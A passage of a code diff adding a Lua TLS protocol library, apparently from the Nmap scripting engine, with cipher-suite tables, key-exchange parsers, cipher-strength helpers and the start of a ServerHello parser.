+["TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384"] = 0xC055,
+["TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256"] = 0xC056,
+["TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384"] = 0xC057,
+["TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256"] = 0xC058,
+["TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384"] = 0xC059,
+["TLS_DH_anon_WITH_ARIA_128_GCM_SHA256"] = 0xC05A,
+["TLS_DH_anon_WITH_ARIA_256_GCM_SHA384"] = 0xC05B,
+["TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256"] = 0xC05C,
+["TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384"] = 0xC05D,
+["TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256"] = 0xC05E,
+["TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384"] = 0xC05F,
+["TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256"] = 0xC060,
+["TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384"] = 0xC061,
+["TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256"] = 0xC062,
+["TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384"] = 0xC063,
+["TLS_PSK_WITH_ARIA_128_CBC_SHA256"] = 0xC064,
+["TLS_PSK_WITH_ARIA_256_CBC_SHA384"] = 0xC065,
+["TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256"] = 0xC066,
+["TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384"] = 0xC067,
+["TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256"] = 0xC068,
+["TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384"] = 0xC069,
+["TLS_PSK_WITH_ARIA_128_GCM_SHA256"] = 0xC06A,
+["TLS_PSK_WITH_ARIA_256_GCM_SHA384"] = 0xC06B,
+["TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256"] = 0xC06C,
+["TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384"] = 0xC06D,
+["TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256"] = 0xC06E,
+["TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384"] = 0xC06F,
+["TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256"] = 0xC070,
+["TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384"] = 0xC071,
+["TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC072,
+["TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC073,
+["TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC074,
+["TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC075,
+["TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC076,
+["TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC077,
+["TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC078,
+["TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC079,
+["TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC07A,
+["TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC07B,
+["TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC07C,
+["TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC07D,
+["TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC07E,
+["TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC07F,
+["TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC080,
+["TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC081,
+["TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC082,
+["TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC083,
+["TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC084,
+["TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC085,
+["TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC086,
+["TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC087,
+["TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC088,
+["TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC089,
+["TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC08A,
+["TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC08B,
+["TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC08C,
+["TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC08D,
+["TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC08E,
+["TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC08F,
+["TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC090,
+["TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC091,
+["TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256"] = 0xC092,
+["TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384"] = 0xC093,
+["TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC094,
+["TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC095,
+["TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC096,
+["TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC097,
+["TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC098,
+["TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC099,
+["TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"] = 0xC09A,
+["TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"] = 0xC09B,
+["TLS_RSA_WITH_AES_128_CCM"] = 0xC09C,
+["TLS_RSA_WITH_AES_256_CCM"] = 0xC09D,
+["TLS_DHE_RSA_WITH_AES_128_CCM"] = 0xC09E,
+["TLS_DHE_RSA_WITH_AES_256_CCM"] = 0xC09F,
+["TLS_RSA_WITH_AES_128_CCM_8"] = 0xC0A0,
+["TLS_RSA_WITH_AES_256_CCM_8"] = 0xC0A1,
+["TLS_DHE_RSA_WITH_AES_128_CCM_8"] = 0xC0A2,
+["TLS_DHE_RSA_WITH_AES_256_CCM_8"] = 0xC0A3,
+["TLS_PSK_WITH_AES_128_CCM"] = 0xC0A4,
+["TLS_PSK_WITH_AES_256_CCM"] = 0xC0A5,
+["TLS_DHE_PSK_WITH_AES_128_CCM"] = 0xC0A6,
+["TLS_DHE_PSK_WITH_AES_256_CCM"] = 0xC0A7,
+["TLS_PSK_WITH_AES_128_CCM_8"] = 0xC0A8,
+["TLS_PSK_WITH_AES_256_CCM_8"] = 0xC0A9,
+["TLS_PSK_DHE_WITH_AES_128_CCM_8"] = 0xC0AA,
+["TLS_PSK_DHE_WITH_AES_256_CCM_8"] = 0xC0AB,
+["TLS_ECDHE_ECDSA_WITH_AES_128_CCM"] = 0xC0AC,
+["TLS_ECDHE_ECDSA_WITH_AES_256_CCM"] = 0xC0AD,
+["TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8"] = 0xC0AE,
+["TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8"] = 0xC0AF,
+["TLS_ECCPWD_WITH_AES_128_GCM_SHA256"] = 0xC0B0, -- RFC8492
+["TLS_ECCPWD_WITH_AES_256_GCM_SHA384"] = 0xC0B1, -- RFC8492
+["TLS_ECCPWD_WITH_AES_128_CCM_SHA256"] = 0xC0B2, -- RFC8492
+["TLS_ECCPWD_WITH_AES_256_CCM_SHA384"] = 0xC0B3, -- RFC8492
+["TLS_AKE_WITH_NULL_SHA256"] = 0xC0B4, -- RFC9150
+["TLS_AKE_WITH_NULL_SHA384"] = 0xC0B5, -- RFC9150
+["TLS_GOSTR341112_256_WITH_KUZNYECHIK_CTR_OMAC"] = 0xC100, -- RFC9189
+["TLS_GOSTR341112_256_WITH_MAGMA_CTR_OMAC"] = 0xC101, -- RFC9189
+["TLS_GOSTR341112_256_WITH_28147_CNT_IMIT"] = 0xC102, -- RFC9189
+["TLS_GOSTR341112_256_WITH_KUZNYECHIK_MGM_L"] = 0xC103, -- draft-smyshlyaev-tls13-gost-suites
+["TLS_GOSTR341112_256_WITH_MAGMA_MGM_L"] = 0xC104, -- draft-smyshlyaev-tls13-gost-suites
+["TLS_GOSTR341112_256_WITH_KUZNYECHIK_MGM_S"] = 0xC105, -- draft-smyshlyaev-tls13-gost-suites
+["TLS_GOSTR341112_256_WITH_MAGMA_MGM_S"] = 0xC106, -- draft-smyshlyaev-tls13-gost-suites
+["TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256-draft"] = 0xCC13, -- RFC7905 superseded
+["TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256-draft"] = 0xCC14, -- RFC7905 superseded
+["TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256-draft"] = 0xCC15, -- RFC7905 superseded
+["TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCA8,
+["TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCA9,
+["TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCAA,
+["TLS_PSK_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCAB,
+["TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCAC,
+["TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCAD,
+["TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256"] = 0xCCAE,
+["TLS_ECDHE_PSK_WITH_AES_128_GCM_SHA256"] = 0xD001, -- RFC 8442
+["TLS_ECDHE_PSK_WITH_AES_256_GCM_SHA384"] = 0xD002, -- RFC 8442
+["TLS_ECDHE_PSK_WITH_AES_128_CCM_8_SHA256"] = 0xD003, -- RFC 8442
+["TLS_ECDHE_PSK_WITH_AES_128_CCM_SHA256"] = 0xD005, -- RFC 8442
+["SSL_RSA_FIPS_WITH_DES_CBC_SHA"] = 0xFEFE,
+["SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA"] = 0xFEFF,
+-- TLSv1.3:
+-- "Although TLS 1.3 uses the same cipher suite space as previous versions of
+-- TLS, TLS 1.3 cipher suites are defined differently, only specifying the
+-- symmetric ciphers, and cannot be used for TLS 1.2. Similarly, TLS 1.2 and
+-- lower cipher suites cannot be used with TLS 1.3."
+-- We designate these as AKE (Authenticated Key Exchange) ciphersuites, in
+-- order to simplify use of the cipher_info function.
+TLS_AKE_WITH_AES_128_GCM_SHA256 = 0x1301,
+TLS_AKE_WITH_AES_256_GCM_SHA384 = 0x1302,
+TLS_AKE_WITH_CHACHA20_POLY1305_SHA256 = 0x1303,
+TLS_AKE_WITH_AES_128_CCM_SHA256 = 0x1304,
+TLS_AKE_WITH_AES_128_CCM_8_SHA256 = 0x1305,
+TLS_AKE_WITH_SM4_GCM_SM3 = 0x00C6, -- RFC 8998
+TLS_AKE_WITH_SM4_CCM_SM3 = 0x00C7, -- RFC 8998
+}
+
+-- Default ciphers sent by tls.client_hello for TLSv1.2 or earlier
+DEFAULT_TLS12_CIPHERS = {
+ "TLS_RSA_WITH_AES_128_CBC_SHA", -- mandatory TLSv1.2
+ "TLS_RSA_WITH_3DES_EDE_CBC_SHA", -- mandatory TLSv1.1
+ "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", -- mandatory TLSv1.0
+ "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", -- DHE with strong AES
+ "TLS_RSA_WITH_RC4_128_MD5", -- Weak and old, but likely supported on old stuff
+}
+-- Same, but for TLSv1.3
+DEFAULT_TLS13_CIPHERS = {
+ "TLS_AKE_WITH_AES_128_GCM_SHA256", -- mandatory TLSv1.3
+ "TLS_AKE_WITH_AES_256_GCM_SHA384", -- stronger TLSv1.3
+ "TLS_AKE_WITH_CHACHA20_POLY1305_SHA256", -- alternate TLSv1.3
+}
+-- Same, but for handshakes compatible with any TLS version
+local DEFAULT_CIPHERS = {
+ table.unpack(DEFAULT_TLS13_CIPHERS)
+}
+for _, c in ipairs(DEFAULT_TLS12_CIPHERS) do
+ insert(DEFAULT_CIPHERS, c)
+end
+
+local function find_key(t, value)
+ local found, v = tableaux.contains(t, value)
+ return v
+end
+
+-- Keep this local to enforce use of the cipher_info function
+local cipher_info_cache = {
+ -- pre-populate the special cases that break the parser below
+ ["TLS_ECDH_anon_NULL_WITH_SHA-draft"] = {
+ kex = "ECDH", dh = true, ec = true,
+ server_auth = "anon",
+ cipher = "NULL",
+ hash = "SHA",
+ draft = true
+ },
+ ["TLS_ECMQV_ECDSA_NULL_SHA-draft"] = {
+ kex = "ECMQV", ec = true,
+ server_auth = "ECDSA",
+ cipher = "NULL",
+ hash = "SHA",
+ draft = true
+ },
+ ["TLS_ECMQV_ECNRA_NULL_SHA-draft"] = {
+ kex = "ECMQV", ec = true,
+ server_auth = "ECNRA",
+ cipher = "NULL",
+ hash = "SHA",
+ draft = true
+ },
+ ["TLS_GOSTR341094_WITH_28147_CNT_IMIT-draft"] = {
+ kex = "GOSTR341094",
+ server_auth = "GOSTR341094",
+ cipher = "GOST28147",
+ hash = "IMIT_GOST28147",
+ draft = true
+ },
+ ["TLS_GOSTR341001_WITH_28147_CNT_IMIT-draft"] = {
+ kex = "GOSTR341001",
+ server_auth = "GOSTR341001",
+ cipher = "GOST28147",
+ hash = "IMIT_GOST28147",
+ draft = true
+ },
+ ["TLS_GOSTR341094_WITH_NULL_GOSTR3411-draft"] = {
+ kex = "GOSTR341094",
+ server_auth = "GOSTR341094",
+ cipher = "NULL",
+ hash = "HMAC_GOSTR3411",
+ draft = true
+ },
+ ["TLS_GOSTR341001_WITH_NULL_GOSTR3411-draft"] = {
+ kex = "GOSTR341001",
+ server_auth = "GOSTR341001",
+ cipher = "NULL",
+ hash = "HMAC_GOSTR3411",
+ draft = true
+ },
+}
+
+
+-- A couple helpers for server_key_exchange parsing
+local function unpack_dhparams (blob, pos)
+ local p, g, y
+ p, g, y, pos = unpack(">s2s2s2", blob, pos)
+ return pos, {p=p, g=g, y=y}, #p * 8
+end
+
+local function named_group_info (group)
+ if group:match("^arbitrary") then
+ return "ec"
+ end
+ local ktype, size = group:match("^(%D+)(%d+)")
+ assert(ktype and size, ("Invalid named group: %s"):format(group))
+ size = tonumber(size)
+ if ktype == "ffdhe" then
+ ktype = "dh"
+ else
+ if group == "ecdh_x25519" or group == "curveSM2" then
+ size = 256
+ end
+ ktype = "ec"
+ end
+ return ktype, size
+end
+
+local function unpack_ecdhparams (blob, pos)
+ local eccurvetype
+ eccurvetype, pos = unpack("B", blob, pos)
+ local ret = {}
+ local strength
+ if eccurvetype == 1 then
+ local p, a, b, base, order, cofactor
+ p, a, b, base, order, cofactor, pos = unpack("s1s1s1s1s1s1", blob, pos)
+ strength = math.log(order, 2)
+ ret.curve_params = {
+ ec_curve_type = "explicit_prime",
+ prime_p=p, curve={a=a, b=b}, base=base, order=order, cofactor=cofactor
+ }
+ elseif eccurvetype == 2 then
+ local p = {}
+ local m, basis
+ m, basis, pos = unpack(">I2B", blob, pos)
+ if basis == 1 then -- ec_trinomial
+ p.k, pos = unpack("s1", blob, pos)
+ elseif basis == 2 then -- ec_pentanomial
+ p.k1, p.k2, p.k3, pos = unpack("s1s1s1", blob, pos)
+ end
+ local a, b, base, order, cofactor
+ a, b, base, order, cofactor, pos = unpack("s1s1s1s1s1", blob, pos)
+ strength = math.log(order, 2)
+ ret.curve_params = {
+ ec_curve_type = "explicit_char2",
+ m=m, basis=basis, field=p, curve={a=a, b=b}, base=base, order=order, cofactor=cofactor
+ }
+ elseif eccurvetype == 3 then
+ local curve
+ curve, pos = unpack(">I2", blob, pos)
+ ret.curve_params = {
+ ec_curve_type = "namedcurve",
+ curve = find_key(ELLIPTIC_CURVES, curve)
+ }
+ local _
+ _, strength = named_group_info(ret.curve_params.curve)
+ end
+ ret.public, pos = unpack("s1", blob, pos)
+ return pos, ret, strength
+end
+
+local function unpack_signed (blob, pos, protocol)
+ if pos > #blob then -- not-signed
+ return pos, nil
+ end
+ local hash_alg, sig_alg, sig
+ -- TLSv1.2 changed to allow arbitrary hash and sig algorithms
+ if protocol and PROTOCOLS[protocol] >= 0x0303 then
+ hash_alg, sig_alg, sig, pos = unpack(">BBs2", blob, pos)
+ else
+ sig, pos = unpack(">s2", blob, pos)
+ end
+ return pos, {hash_algorithm=hash_alg, signature_algorithm=sig_alg, signature=sig}
+end
+
+--- Get the strength-equivalent RSA key size
+--
+-- Based on NIST SP800-57 part 1 rev 3
+-- @param ktype Key type ("dh", "ec", "rsa", "dsa")
+-- @param bits Size of key in bits
+-- @return Size in bits of RSA key with equivalent strength
+function rsa_equiv (ktype, bits)
+ if ktype == "rsa" or ktype == "dsa" or ktype == "dh" then
+ return bits
+ elseif ktype == "ec" then
+ if bits < 160 then
+ return 512 -- Possibly down to 0, but details not published
+ elseif bits < 224 then
+ return 1024
+ elseif bits < 256 then
+ return 2048
+ elseif bits < 384 then
+ return 3072
+ elseif bits < 512 then
+ return 7680
+ else -- 512+
+ return 15360
+ end
+ end
+ return nil
+end
+
+KEX_ALGORITHMS = {}
+
+-- RFC 5246
+KEX_ALGORITHMS.NULL = { anon = true }
+KEX_ALGORITHMS.DH_anon = {
+ anon = true,
+ type = "dh",
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ pos, ret.dhparams, ret.strength = unpack_dhparams(blob)
+ return ret
+ end
+}
+KEX_ALGORITHMS.DH_anon_EXPORT = {
+ anon=true,
+ export=true,
+ type = "dh",
+ server_key_exchange = KEX_ALGORITHMS.DH_anon.server_key_exchange
+}
+KEX_ALGORITHMS.ECDH_anon = {
+ anon=true,
+ type = "ec",
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ pos, ret.ecdhparams, ret.strength = unpack_ecdhparams(blob)
+ return ret
+ end
+}
+KEX_ALGORITHMS.ECDH_anon_EXPORT = {
+ anon=true,
+ export=true,
+ type = "ec",
+ server_key_exchange = KEX_ALGORITHMS.ECDH_anon.server_key_exchange
+}
+
+KEX_ALGORITHMS.RSA = {
+ pubkey="rsa",
+}
+-- http://www-archive.mozilla.org/projects/security/pki/nss/ssl/fips-ssl-ciphersuites.html
+KEX_ALGORITHMS.RSA_FIPS = KEX_ALGORITHMS.RSA
+KEX_ALGORITHMS.RSA_EXPORT = {
+ export=true,
+ pubkey="rsa",
+ type = "rsa",
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {rsa={}}
+ ret.rsa.modulus, ret.rsa.exponent, pos = unpack(">s2s2", blob)
+ pos, ret.signed = unpack_signed(blob, pos, protocol)
+ ret.strength = #ret.rsa.modulus
+ return ret
+ end
+}
+KEX_ALGORITHMS.RSA_EXPORT1024 = KEX_ALGORITHMS.RSA_EXPORT
+KEX_ALGORITHMS.DHE_RSA={
+ pubkey="rsa",
+ type = "dh",
+ pfs = true,
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ pos, ret.dhparams, ret.strength = unpack_dhparams(blob)
+ pos, ret.signed = unpack_signed(blob, pos, protocol)
+ return ret
+ end
+}
+KEX_ALGORITHMS.DHE_RSA_EXPORT={
+ export=true,
+ pubkey="rsa",
+ type = "dh",
+ pfs = true,
+ server_key_exchange = KEX_ALGORITHMS.DHE_RSA.server_key_exchange
+}
+KEX_ALGORITHMS.DHE_DSS={
+ pubkey="dsa",
+ type = "dh",
+ pfs = true,
+ server_key_exchange = KEX_ALGORITHMS.DHE_RSA.server_key_exchange
+}
+KEX_ALGORITHMS.DHE_DSS_EXPORT={
+ export=true,
+ pubkey="dsa",
+ type = "dh",
+ pfs = true,
+ server_key_exchange = KEX_ALGORITHMS.DHE_RSA.server_key_exchange
+}
+KEX_ALGORITHMS.DHE_DSS_EXPORT1024 = KEX_ALGORITHMS.DHE_DSS_EXPORT1024
+
+KEX_ALGORITHMS.DH_DSS={
+ pubkey="dh",
+}
+KEX_ALGORITHMS.DH_DSS_EXPORT={
+ export=true,
+ pubkey="dh",
+}
+KEX_ALGORITHMS.DH_RSA={
+ pubkey="dh",
+}
+KEX_ALGORITHMS.DH_RSA_EXPORT={
+ export=true,
+ pubkey="dh",
+}
+
+KEX_ALGORITHMS.ECDHE_RSA={
+ pubkey="rsa",
+ type = "ec",
+ pfs = true,
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ pos, ret.ecdhparams, ret.strength = unpack_ecdhparams(blob)
+ pos, ret.signed = unpack_signed(blob, pos, protocol)
+ return ret
+ end
+}
+KEX_ALGORITHMS.ECDHE_ECDSA={
+ pubkey="ec",
+ type = "ec",
+ pfs = true,
+ server_key_exchange = KEX_ALGORITHMS.ECDHE_RSA.server_key_exchange
+}
+KEX_ALGORITHMS.ECDH_ECDSA={
+ pubkey="ec",
+}
+KEX_ALGORITHMS.ECDH_RSA={
+ pubkey="ec",
+}
+
+-- draft-ietf-tls-ecc-00
+KEX_ALGORITHMS.ECDH_ECNRA={
+ pubkey="ec",
+}
+KEX_ALGORITHMS.ECMQV_ECDSA={
+ pubkey="ec",
+ type = "ecmqv",
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ ret.mqvparams, pos = unpack("s1", blob)
+ return ret
+ end
+}
+KEX_ALGORITHMS.ECMQV_ECNRA={
+ pubkey="ec",
+}
+
+-- rfc4279
+KEX_ALGORITHMS.PSK = {
+ type = "psk",
+ server_key_exchange = function (blob, protocol)
+ local hint, pos = unpack(">s2", blob)
+ return {psk_identity_hint=hint}
+ end
+}
+KEX_ALGORITHMS.RSA_PSK = {
+ pubkey="rsa",
+ type = "psk",
+ server_key_exchange = KEX_ALGORITHMS.PSK.server_key_exchange
+}
+KEX_ALGORITHMS.DHE_PSK = {
+ type = "dh",
+ pfs = true,
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ ret.psk_identity_hint, pos = unpack(">s2", blob)
+ pos, ret.dhparams, ret.strength = unpack_dhparams(blob, pos)
+ return ret
+ end
+}
+--nomenclature change
+KEX_ALGORITHMS.PSK_DHE = KEX_ALGORITHMS.DHE_PSK
+
+--rfc5489
+KEX_ALGORITHMS.ECDHE_PSK={
+ type = "ec",
+ pfs = true,
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {}
+ ret.psk_identity_hint, pos = unpack(">s2", blob)
+ pos, ret.ecdhparams, ret.strength = unpack_ecdhparams(blob, pos)
+ return ret
+ end
+}
+
+-- RFC 5054
+KEX_ALGORITHMS.SRP_SHA = {
+ type = "srp",
+ pfs = true,
+ server_key_exchange = function (blob, protocol)
+ local pos
+ local ret = {srp={}}
+ ret.srp.N, ret.srp.g, ret.srp.s, ret.srp.B, pos = unpack(">s2s2s1s2", blob)
+ pos, ret.signed = unpack_signed(blob, pos, protocol)
+ ret.strength = #ret.srp.N
+ return ret
+ end
+}
+KEX_ALGORITHMS.SRP_SHA_DSS = {
+ pubkey="dsa",
+ type = "srp",
+ pfs = true,
+ server_key_exchange = KEX_ALGORITHMS.SRP_SHA.server_key_exchange
+}
+KEX_ALGORITHMS.SRP_SHA_RSA = {
+ pubkey="rsa",
+ type = "srp",
+ pfs = true,
+ server_key_exchange = KEX_ALGORITHMS.SRP_SHA.server_key_exchange
+}
+
+-- RFC 6101
+KEX_ALGORITHMS.FORTEZZA_KEA={}
+
+-- RFC 4491
+KEX_ALGORITHMS.GOSTR341001={}
+KEX_ALGORITHMS.GOSTR341094={}
+
+-- RFC 2712
+KEX_ALGORITHMS.KRB5={}
+KEX_ALGORITHMS.KRB5_EXPORT={
+ export=true,
+}
+
+-- TLSv1.3
+KEX_ALGORITHMS.AKE = {
+ tls13ok=true,
+ tls13only=true,
+ pfs=true,
+ -- TLSv1.3 swaps the ServerKeyExchange message for the key_share extension.
+ -- We'll just pretend that's what this is:
+ server_key_exchange = function (blob, protocol)
+ local named_group, pos = unpack(">I2", blob)
+ stdnse.debug1("named_group = %d", named_group)
+ named_group = find_key(ELLIPTIC_CURVES, named_group)
+ local gtype, strength = named_group_info(named_group)
+ return {
+ type = gtype,
+ strength = strength,
+ ecdhparams={ -- Not always ECC, but reusing structure simplifies things
+ curve_params={
+ ec_curve_type = "namedcurve",
+ curve = named_group,
+ }
+ }
+ }
+ end,
+}
+-- RFC 8492
+KEX_ALGORITHMS.ECCPWD = {
+ tls13ok=true,
+ tls13only=false,
+}
+
+local algorithms = {
+ ["3DES"] = {s=112, b=64}, --NIST SP 800-57
+ CHACHA20 = {s=256, b=128},
+ IDEA = {s=128, b=64},
+ SEED = {s=128, b=128},
+ FORTEZZA = {s=80, b=64},
+ DES = {s=56, b=64},
+ RC2 = {s=40, b=64},
+ DES40 = {s=40, b=64},
+ NULL = {s=0},
+ CAMELLIA = {b=128},
+ ARIA = {b=128},
+ AES = {b=128},
+ SM4 = {s=128, b=128},
+}
+--- Get info about a cipher suite
+--
+-- Returned table has "kex", "cipher", "mode", "size", and
+-- "hash" keys, as well as boolean flag "draft". The "draft"
+-- flag is only supported for some suites that have different enumeration
+-- values in draft versus final RFC.
+-- @param c The cipher suite name, e.g. TLS_RSA_WITH_AES_128_GCM_SHA256
+-- @return A table of info as described above.
+function cipher_info (c)
+ local info = cipher_info_cache[c]
+ if info then return info end
+ local tokens = stringaux.strsplit("_", c)
+ local i = 1
+ if tokens[i] ~= "TLS" and tokens[i] ~= "SSL" then
+ stdnse.debug2("cipher_info: Not a TLS ciphersuite: %s", c)
+ return nil
+ end
+ -- kex, cipher, size, mode, hash
+ i = i + 1
+ while tokens[i] and tokens[i] ~= "WITH" do
+ i = i + 1
+ end
+ local kex = concat(tokens, "_", 2, i-1)
+ info = KEX_ALGORITHMS[kex]
+ if info then
+ info = tableaux.tcopy(info)
+ info.kex = kex
+ else
+ info = {kex = kex}
+ end
+
+ if tokens[i] and tokens[i] ~= "WITH" then
+ stdnse.debug2("cipher_info: Can't parse (no WITH): %s", c)
+ return nil
+ end
+
+ -- cipher
+ i = i + 1
+ local t = tokens[i]
+ info.cipher = t
+ if t == "3DES" then
+ i = i + 1 -- 3DES_EDE
+ end
+
+ -- key size
+ local tmp = algorithms[t]
+ if tmp then
+ info.size = tmp.s
+ info.block_size = tmp.b
+ end
+ if info.size == nil then
+ i = i + 1
+ info.size = tonumber(tokens[i])
+ end
+
+ -- stream ciphers don't have a mode
+ if info.cipher == "RC4" then
+ info.mode = "stream"
+ elseif info.cipher == "CHACHA20" then
+ i = i + 1
+ info.cipher = "CHACHA20-POLY1305"
+ info.mode = "stream"
+ elseif info.cipher ~= "NULL" then
+ i = i + 1
+ info.mode = tokens[i]
+ end
+
+ -- export key size override
+ if info.export and tonumber(tokens[i+1]) then
+ i = i + 1
+ info.size = tonumber(tokens[i])
+ end
+
+ -- Other key size overrides
+ if info.cipher == "RC4" then -- RFC 7465 prohibits RC4 in TLS
+ info.size = math.min(info.size or 80, 80) -- Equivalently caps to C grade?
+ end
+
+ -- hash
+ if info.mode == "CCM" then
+ info.hash = "SHA256"
+ end
+ i = i + 1
+ if i <= #tokens then
+ if tokens[i] == "8" and info.mode == "CCM" then
+ info.mode = "CCM_8"
+ i = i + 1
+ elseif info.export and (tokens[i]):match("^%d+$") then
+ info.size = tonumber(tokens[i])
+ i = i + 1
+ end
+ if i <= #tokens then
+ local t, w = (tokens[i]):match("(.+)%-([a-z]+)")
+ if t then
+ if w == "draft" then
+ info.draft = true
+ end
+ -- else "or"
+ else
+ t = tokens[i]
+ end
+ info.hash = t
+ end
+ end
+
+ cipher_info_cache[c] = info
+ return info
+end
+
+SCSVS = {
+["TLS_EMPTY_RENEGOTIATION_INFO_SCSV"] = 0x00FF, -- rfc5746
+["TLS_FALLBACK_SCSV"] = 0x5600, -- draft-ietf-tls-downgrade-scsv-00
+}
+
+handshake_parse = {
+ server_hello = function (buffer, j, msg_end, protocol)
+ local b = {}
+ -- Parse body.
+ b.protocol, b.time, b.random, b.session_id, j = unpack(">I2 I4 c28 s1", buffer, j)
+ b.cipher, b.compressor, j = unpack(">I2 B", buffer, j)
+ -- Optional extensions for TLS only
+ if j < msg_end and protocol ~= "SSLv3" then
+ local num_exts
+ b["extensions"] = {}
+ num_exts, j = unpack(">I2", buffer, j)
+ for e = 0, num_exts do
+ if j >= msg_end then break end
+ local extcode, datalen
+ extcode, j = unpack(">I2", buffer, j)
+ extcode = find_key(EXTENSIONS, extcode) or extcode
+ b["extensions"][extcode], j = unpack(">s2", buffer, j)
+ end
+ end
+
+ -- Convert to human-readable form.
+ b["protocol"] = find_key(PROTOCOLS, b["protocol"])
+ b["cipher"] = find_key(CIPHERS, b["cipher"])
+ b["compressor"] = find_key(COMPRESSORS, b["compressor"])
+
+ -- RFC 8446: HelloRetryRequest message uses the same structure as the
+ -- ServerHello, but with Random set to the special value of the SHA-256
+ -- of "HelloRetryRequest"
+ if b.protocol == "TLSv1.2" -- TLSv1.3 legacy version
